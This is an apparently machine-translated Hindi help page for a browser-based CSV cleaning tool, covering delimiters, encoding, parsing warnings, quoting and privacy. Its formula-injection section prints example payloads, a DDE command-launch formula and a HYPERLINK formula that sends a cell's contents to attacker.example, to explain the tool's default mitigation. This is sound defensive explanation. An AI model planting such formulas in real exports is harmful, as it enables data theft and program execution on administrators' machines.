हिन्दी

CSV क्लीनर

स्प्रेडशीट निर्यात में सुव्यवस्थित सीमांकक, हेडर, डुप्लिकेट और एन्कोडिंग।

निर्यात टूटा हुआ क्यों आता है?

CSV फ़ाइल वास्तव में एक प्रारूप नहीं है, यह परंपराओं का एक परिवार है। अधिकांश टूल जिस विशिष्टता की ओर इशारा करते हैं, RFC 4180, उसे 2005 में यह बताने के लिए लिखा गया था कि सॉफ़्टवेयर पहले से ही क्या कर रहा है, न कि यह बताने के लिए कि उसे क्या करना है। परिणाम यह है कि दो प्रोग्राम CSV समर्थन का दावा कर सकते हैं और फिर भी सीमांकक, पंक्ति समाप्ति, उद्धरण शैली और वर्ण एन्कोडिंग के बारे में असहमत हैं।

सबसे आम आश्चर्य सीमांकक है. उन देशों में बेचा जाने वाला सॉफ़्टवेयर जो दशमलव विभाजक के रूप में अल्पविराम का उपयोग करते हैं - अधिकांश महाद्वीपीय यूरोप - अक्सर अर्धविराम से अलग की गई फ़ाइलों को निर्यात करते हैं, क्योंकि अल्पविराम पहले से ही व्यस्त है। वे फ़ाइलें अभी भी .csv में समाप्त होती हैं। एक टूल में एक खोलें जो अल्पविराम मानता है और प्रत्येक पंक्ति एक कॉलम में ढह जाती है।

दूसरा सबसे आम आश्चर्य एन्कोडिंग है। UTF-8 के रूप में सहेजी गई फ़ाइल अक्सर एक अदृश्य तीन-बाइट मार्कर से शुरू होती है जिसे बाइट-ऑर्डर मार्क कहा जाता है। विंडोज़ पर Excel UTF-8 को पहचानने के लिए इसका उपयोग करता है। कई Unix टूल इसकी अपेक्षा नहीं करते हैं, इसलिए निशान पहले हेडर नाम पर चिपक जाता है और "ID" नामक कॉलम चुपचाप "id" नामक कॉलम बन जाता है, जिसका कोई भी लुकअप कभी भी मेल नहीं खाएगा।

आकार लोड करें और जांचें

अपनी फ़ाइल चुनें. पार्सिंग बैकग्राउंड वर्कर थ्रेड में होती है, इसलिए एक बड़ा निर्यात भी पढ़ने के दौरान पेज को फ्रीज नहीं करेगा।

पहली बार डिलीमीटर को "ऑटो-डिटेक्ट" पर छोड़ दें। डिटेक्शन प्रत्येक उम्मीदवार सीमांकक के साथ एक नमूने को पार्स करके और सबसे लगातार आयताकार परिणाम उत्पन्न करने वाले को चुनकर काम करता है - यही कारण है कि यह अर्धविराम से अलग की गई फ़ाइल के उद्धृत फ़ील्ड के अंदर बैठे अल्पविरामों द्वारा मूर्ख नहीं बनाया जाता है। यदि पूर्वावलोकन अभी भी गलत दिखता है, तो इसे मैन्युअल रूप से ओवरराइड करें।

कुछ भी करने से पहले फ़ाइल पिकर के अंतर्गत पंक्ति और स्तंभ संख्या की जाँच करें। यदि स्तंभ संख्या 1 है, तो सीमांकक गलत है। यदि पंक्तियों की संख्या आपकी अपेक्षा से बहुत बड़ी है, तो फ़ाइल में संभवतः उद्धृत नई पंक्तियाँ शामिल हैं जिन्हें किसी अन्य टूल ने पहले ही खराब कर दिया है।

  1. एक .csv, .tsv, .txt या .json फ़ाइल चुनें।
  2. पता लगाए गए डिलीमीटर की पुष्टि करें, या मैन्युअल रूप से एक चुनें।
  3. पंक्ति × स्तंभ सारांश और कोई भी पार्सिंग चेतावनियाँ पढ़ें।
  4. स्थानांतरित दिखने वाले कॉलम के लिए पूर्वावलोकन तालिका को स्कैन करें।

पार्सिंग चेतावनियों को समझें

चेतावनियाँ विशिष्ट पंक्ति संख्या का नाम बताती हैं, जिस तरह से आप टेक्स्ट एडिटर में गिनती करेंगे, ताकि आप सीधे जाकर समस्या को देख सकें।

"रैग्ड पंक्ति" चेतावनी का अर्थ है कि एक पंक्ति में हेडर की तुलना में कोशिकाओं की संख्या भिन्न थी। यह टूल उन कोशिकाओं को कभी भी त्यागता नहीं है। छोटी पंक्तियाँ रिक्त स्थान से भरी होती हैं और लंबी पंक्तियाँ अपने अतिरिक्त मान रखती हैं, क्योंकि ग्रिड को साफ-सुथरा दिखाने के लिए किसी के डेटा को चुपचाप हटाना एक सफाई टूल द्वारा किया जाने वाला सबसे खराब काम है। यदि अतिरिक्त अल्पविराम गलती थी तो स्रोत पंक्ति को ठीक करें।

एक "अनक्लोज़्ड कोट" चेतावनी का मतलब है कि एक डबल-कोट खोला गया था और कभी बंद नहीं हुआ था, इसलिए इसके बाद की हर चीज़ को एक विशाल फ़ील्ड के रूप में पढ़ा गया था। यह स्रोत फ़ाइल में लगभग हमेशा एक वास्तविक भ्रष्टाचार है, और यह डाउनस्ट्रीम के बजाय अपस्ट्रीम को ठीक करने लायक है।

साफ़ करें, फिर निर्यात करें

सफ़ाई बटन पूरी तालिका पर लागू होते हैं और प्रत्येक को पूर्ववत किया जा सकता है। डुप्लिकेट पंक्तियों को हटाने से पहली घटना बनी रहती है, इसलिए मूल पंक्ति बनी रहती है और जीवित डेटा का क्रम नहीं बदलता है।

कॉलम नियंत्रण आपको हेडर का नाम बदलने, निर्यात करने के लिए कौन से कॉलम चुनने और किसी भी कॉलम के अनुसार क्रमबद्ध करने की सुविधा देता है। सॉर्टिंग यह पता लगाती है कि कोई कॉलम संख्यात्मक है या नहीं: एक संख्यात्मक कॉलम 10 से पहले 9 को सॉर्ट करता है, जबकि एक टेक्स्ट कॉलम "9" से पहले "10" को सॉर्ट करता है, जो आमतौर पर आप प्रत्येक मामले में चाहते हैं।

डाउनलोड करने से पहले, निर्यात विकल्पों को देखें। फॉर्मूला-इंजेक्शन-सुरक्षित विकल्प डिफ़ॉल्ट रूप से चालू है और इसे नीचे दिए गए अपने स्वयं के गाइड में समझाया गया है - यह वास्तविक सुरक्षा परिणाम के साथ यहां एक सेटिंग है।

समस्या एक वाक्य में

CSV फ़ाइल में कोई कोड नहीं होता है, लेकिन एक स्प्रेडशीट एप्लिकेशन फ़ाइल खोलते ही खुशी-खुशी इसके कुछ टेक्स्ट को कोड के रूप में मान लेगा।

एक्सेल, गूगल शीट्स और लिबरऑफिस कैल्क सभी एक सेल की व्याख्या करते हैं जिसका पहला अक्षर =, +, - या @ है जो सूत्र की शुरुआत के रूप में होता है। जब आप इसे स्वयं टाइप करते हैं तो वह व्यवहार जानबूझकर और उपयोगी होता है। यह एक भेद्यता बन जाती है जब सेल सामग्री ऐसी जगह से आती है जिसे आप नियंत्रित नहीं करते हैं।

कोई हमला वास्तव में कैसे काम करता है

एक वेब फॉर्म की कल्पना करें जो एक नाम एकत्र करता है, और एक व्यवस्थापक जो समय-समय पर सबमिशन को CSV पर निर्यात करता है और उन्हें एक्सेल में खोलता है। एक हमलावर एक ऐसा नाम सबमिट करता है जो कोई नाम नहीं बल्कि एक सूत्र है।

एक क्लासिक पेलोड =cmd|' जैसा दिखता है /C कैल्क'!A0. जब निर्यात खोला जाता है, तो एक्सेल इसे पाठ के बजाय एक गतिशील डेटा विनिमय निर्देश के रूप में पार्स करता है। पुराने और अप्रकाशित कॉन्फ़िगरेशन एक बाहरी प्रोग्राम लॉन्च करने का प्रयास करेंगे। आधुनिक संस्करण पहले एक चेतावनी संकेत दिखाते हैं - लेकिन पेलोड और निष्पादन के बीच संकेत ही एकमात्र चीज़ है, और उपयोगकर्ता संकेतों पर क्लिक करते हैं।

डेटा एक्सफ़िल्टरेशन एक शांत संस्करण है और इसमें DDE की बिल्कुल भी आवश्यकता नहीं है। =HYPERLINK('https://attacker.example/?d="&A1,"Click विवरण के लिए') एक लिंक बनाता है जिसमें पड़ोसी सेल की सामग्री होती है। एक जिज्ञासु प्रशासक उस पर क्लिक करता है, और स्प्रेडशीट की एक पंक्ति इमारत को URL में छोड़ देती है। Google शीट्स में IMPORTXML बिना किसी क्लिक की आवश्यकता के रिमोट URL ला सकता है।

महत्वपूर्ण बात यह है कि हमलावर को कभी भी स्प्रेडशीट, निर्यात टूल या व्यवस्थापक की मशीन तक पहुंच की आवश्यकता नहीं होती है। उन्हें केवल एक टेक्स्ट फ़ील्ड की आवश्यकता थी जो अंततः CSV निर्यात तक पहुँचती है। यही कारण है कि भेद्यता आमतौर पर उस एप्लिकेशन के विरुद्ध दर्ज की जाती है जिसने फ़ाइल बनाई है, न कि उस स्प्रेडशीट के विरुद्ध जिसने इसे खोला है।

यह टूल इसके बारे में क्या करता है

जब "फ़ॉर्मूला-इंजेक्शन-सुरक्षित" सक्षम होता है - और यह डिफ़ॉल्ट रूप से सक्षम होता है - प्रत्येक सेल जिसका पहला अक्षर =, +, -, @ है, एक टैब या कैरिज रिटर्न को लिखे जाने से पहले एक एकल एपोस्ट्रोफ के साथ उपसर्ग किया जाता है।

एपोस्ट्रोफ पारंपरिक स्प्रेडशीट मार्कर है जिसका अर्थ है "इस सेल के बाकी हिस्सों को शाब्दिक पाठ के रूप में मानें"। एक्सेल इसे सेल में प्रदर्शित नहीं करता है; आप इसे केवल फॉर्मूला बार में देखते हैं। पेलोड अभी भी दृश्यमान है और अभी भी पूरी तरह से पुनर्प्राप्त करने योग्य है, लेकिन यह निष्क्रिय है।

टैब और कैरिज रिटर्न को उस सूची में शामिल किया गया है क्योंकि वे रिक्त स्थान हैं जिन्हें कुछ अनुभवहीन फिल्टर पहले अक्षर की जांच करने से पहले ट्रिम कर देते हैं, जो एक पेलोड को चेक से आगे खिसकने देता है जो केवल ट्रिम की गई स्ट्रिंग के सूचकांक शून्य को देखता है। कच्चे प्रथम अक्षर की जाँच करने से वह अंतर समाप्त हो जाता है।

  1. निर्यात पैनल में "फ़ॉर्मूला-इंजेक्शन-सुरक्षित" को टिक कर छोड़ दें।
  2. CSV डाउनलोड करें।
  3. इसे एक्सेल या शीट्स में खोलें: फॉर्मूला जैसी कोशिकाएं अब सादे पाठ के रूप में प्रदर्शित होती हैं।

विकल्प की कीमत आपको कितनी होगी - इसे बंद करने से पहले इसे पढ़ें

शमन आपके डेटा को बदल देता है, और इसका कोई संस्करण ऐसा नहीं है जो ऐसा न करता हो। यदि किसी सेल में वास्तव में =SUM(A1:A2) शामिल है क्योंकि आप आउटपुट में एक कार्यशील फॉर्मूला चाहते थे, तो सुरक्षित निर्यात इसे शाब्दिक पाठ =SUM(A1:A2) में बदल देता है और यह गणना नहीं करेगा। एक स्प्रेडशीट आपके इच्छित फ़ॉर्मूले को किसी हमलावर के फ़ॉर्मूले से अलग नहीं कर सकती है, और न ही हम कर सकते हैं।

यही कारण है कि यह मौन व्यवहार के बजाय एक दृश्यमान टॉगल है। यदि आप ऐसी फ़ाइल निर्यात कर रहे हैं जिसमें लाइव फ़ार्मुलों को शामिल किया गया है, और आप इसमें प्रत्येक मान पर भरोसा करते हैं, तो विकल्प को जानबूझकर और जानबूझकर बंद कर दें। यदि डेटा में कोई ऐसी चीज़ शामिल है जो उपयोगकर्ता, फ़ॉर्म, ग्राहक, सर्वेक्षण या बाहरी सिस्टम से उत्पन्न हुई है, तो इसे छोड़ दें।

एक शोधन के बारे में जानने लायक है। एक सरल कार्यान्वयन प्रत्येक सेल को माइनस साइन से शुरू करता है, जो फ़ाइल में प्रत्येक नकारात्मक संख्या को बाधित करता है: -42 '-42 बन जाता है और एक संख्या बनना बंद कर देता है, चुपचाप वित्तीय डेटा के पूरे कॉलम को भ्रष्ट कर देता है। यह टूल उन मानों को छूट देता है जो सादे संख्याओं के रूप में पार्स होते हैं, इसलिए -42, -3.14 और -1e5 अछूते रहते हैं जबकि -1+1+cmd|' /C calc'!A0 नहीं है, क्योंकि यह कोई संख्या नहीं है।

यदि आप ऐसा सॉफ़्टवेयर बना रहे हैं जो CSV निर्यात करता है

लिखने से बचिए, पढ़ने से नहीं। आपके द्वारा उत्पादित फ़ाइल कहीं भी खोलने के लिए सुरक्षित होनी चाहिए, क्योंकि आप यह नियंत्रित नहीं कर सकते कि कौन सा एप्लिकेशन इसे खोलता है या वह एप्लिकेशन कितना पुराना है।

अपने नियंत्रण के रूप में स्प्रैडशीट के चेतावनी संवाद पर भरोसा न करें। यह उस उपयोगकर्ता के लिए रक्षा की अंतिम पंक्ति है जो अपना काम पूरा करने की कोशिश कर रहा है, और इसे नियमित रूप से खारिज कर दिया जाता है।

खतरनाक पात्रों को हटाकर इसे हल करने का प्रयास न करें। अग्रणी = को हटाने से वैध डेटा दूषित हो जाता है और व्हॉट्सएप से शुरू होने वाले पेलोड अभी भी छूट जाते हैं। एपोस्ट्रोफ के साथ उपसर्ग लगाने से इसकी निष्पादन क्षमता को हटाते समय मूल मान बिल्कुल सुरक्षित रहता है, यही कारण है कि यह अनुशंसित दृष्टिकोण है।

नियमों का हवाला दे रहे हैं

किसी फ़ील्ड को दोहरे उद्धरण चिह्नों में लपेटा जाना चाहिए जब उसमें सीमांकक, दोहरा उद्धरण या लाइन ब्रेक शामिल हो। उद्धृत फ़ील्ड के अंदर, एक शाब्दिक दोहरा उद्धरण दो बार लिखा गया है: "उसने कहा ""हाय"" एक फ़ील्ड है जिसमें उसने "हाय" कहा।

यह टूल निर्यात पर न्यूनतम उद्धरण देता है: फ़ील्ड केवल तभी लपेटे जाते हैं जब उन्हें आवश्यकता होती है। इसका मतलब है कि एक फ़ाइल जिसका प्रत्येक फ़ील्ड इनपुट पर उद्धृत किया गया था, कम उद्धरण के साथ आ सकती है। डेटा समान है - "एडीए" और एडा समान मूल्य हैं - लेकिन बाइट्स भिन्न हैं। यदि आपको प्रत्येक फ़ील्ड को उद्धृत करना है, तो "प्रत्येक फ़ील्ड को उद्धृत करें" विकल्प का उपयोग करें।

सार्थक अग्रणी या अनुगामी रिक्त स्थान वाले फ़ील्ड हमेशा उद्धृत किए जाते हैं, क्योंकि कई पार्सर्स गैर-उद्धृत पैडिंग को हटा देते हैं और अन्यथा आपके मान बदल देंगे।

पंक्ति का अंत

RFC 4180 रिकॉर्ड्स के बीच CRLF निर्दिष्ट करता है, और यह टूल डिफ़ॉल्ट रूप से यही लिखता है, क्योंकि यह विंडोज़ और Unix टूलींग में सबसे व्यापक रूप से संगत विकल्प है।

इनपुट पर, सभी तीन सम्मेलन स्वीकार किए जाते हैं: CRLF, LF और अकेला CR। उद्धृत फ़ील्ड के अंदर एक नई पंक्ति को मान के हिस्से के रूप में संरक्षित किया जाता है और एक नई पंक्ति शुरू नहीं होती है।

आपके डेटा का क्या होता है

आपकी फ़ाइल ब्राउज़र द्वारा पढ़ी जाती है, आपके डिवाइस पर वेब वर्कर में पार्स की जाती है, मेमोरी में रूपांतरित की जाती है, और ब्राउज़र के स्वयं के डाउनलोड तंत्र द्वारा वापस लिखी जाती है। यह कभी प्रसारित नहीं होता.

कुछ भी संग्रहित नहीं है. इसमें कोई स्वतः सहेजना नहीं है, कोई स्थानीय डेटाबेस नहीं है और कोई इतिहास नहीं है जो पेज पुनः लोड होने पर बचा रहे। टैब बंद करने से सब कुछ छूट जाता है; "डेटा साफ़ करें" तुरंत ही ऐसा करता है।

इस उत्पाद में हर परिवेश में विश्लेषण और विज्ञापन अक्षम हैं। आपकी फ़ाइल के बारे में कोई उपयोग डेटा - न कि उसका नाम, आकार, सामग्री या कॉलम नाम - एकत्र नहीं किया जाता है, क्योंकि इसमें से कोई भी कभी भी कहीं नहीं भेजा जाता है।

अक्सर पूछे जाने वाले प्रश्नों

क्या मेरी स्प्रैडशीट कहीं अपलोड की गई है?
नहीं, फ़ाइल आपके ब्राउज़र द्वारा पढ़ी जाती है, आपके डिवाइस पर वेब वर्कर में पार्स की जाती है, और आपके ब्राउज़र द्वारा वापस लिखी जाती है। इस टूल में कोई सर्वर घटक नहीं है और डेटा भेजने के लिए कोई समापन बिंदु नहीं है। आप अपने ब्राउज़र का नेटवर्क पैनल खोलकर और काम करते समय इसे खाली देखकर इसकी पुष्टि कर सकते हैं।
मेरी फ़ाइल एकल कॉलम के रूप में क्यों खुली?
सीमांकक ग़लत है. इसे मैन्युअल रूप से सेट करें - अर्धविराम यूरोपीय सॉफ़्टवेयर से निर्यात के लिए सामान्य उत्तर है, और उन फ़ाइलों के लिए टैब जो वास्तव में .csv एक्सटेंशन के साथ TSV थे।
UTF-8 BOM विकल्प किसके लिए है?
विंडोज़ पर एक्सेल यह पता लगाने के लिए बाइट-ऑर्डर मार्क का उपयोग करता है कि कोई फ़ाइल UTF-8 है। इसके बिना, फ़ाइल पर डबल-क्लिक करने पर उच्चारण वर्ण और गैर-लैटिन स्क्रिप्ट मोजिबेक के रूप में दिखाई दे सकती हैं। यदि फ़ाइल एक्सेल के लिए नियत है तो इसे चालू करें; यदि फ़ाइल किसी स्क्रिप्ट या डेटाबेस आयात को फीड करती है तो इसे छोड़ दें, क्योंकि कुछ सख्त पार्सर्स मार्क को डेटा के रूप में मानते हैं।
क्या डुप्लिकेट हटाने से पहली या अंतिम प्रति सुरक्षित रहती है?
पहला। मूल पंक्ति वहीं रहती है जहां वह थी और बाद में प्रतियां हटा दी जाती हैं, इसलिए आपके द्वारा रखे गए डेटा का क्रम अपरिवर्तित रहता है।
क्या मैं CSV और JSON के बीच कन्वर्ट कर सकता हूं?
हाँ, दोनों दिशाओं में. ऑब्जेक्ट की एक सरणी वाली .json फ़ाइल लोड करें और यह एक तालिका बन जाती है; किसी भी तालिका को JSON के रूप में निर्यात करें। डुप्लिकेट कॉलम नामों को एक-दूसरे को ओवरराइट करने के बजाय संख्यात्मक प्रत्यय दिए जाते हैं, और नेस्टेड मानों को सेल के अंदर JSON टेक्स्ट के रूप में क्रमबद्ध किया जाता है।
यह कितनी बड़ी फ़ाइल संभाल सकता है?
सीमा 50 MB पर निर्धारित है। वास्तविक बाधा आपके डिवाइस की मेमोरी है, क्योंकि पूरी फ़ाइल टैब में रखी जाती है। लैपटॉप से ​​पहले एक फोन अच्छी तरह से संघर्ष करेगा। पार्सिंग एक वर्कर में चलती है इसलिए इंटरफ़ेस उत्तरदायी रहता है, लेकिन एक बहुत बड़ी फ़ाइल में अभी भी समय लगेगा।

यह टूल क्या नहीं करेगा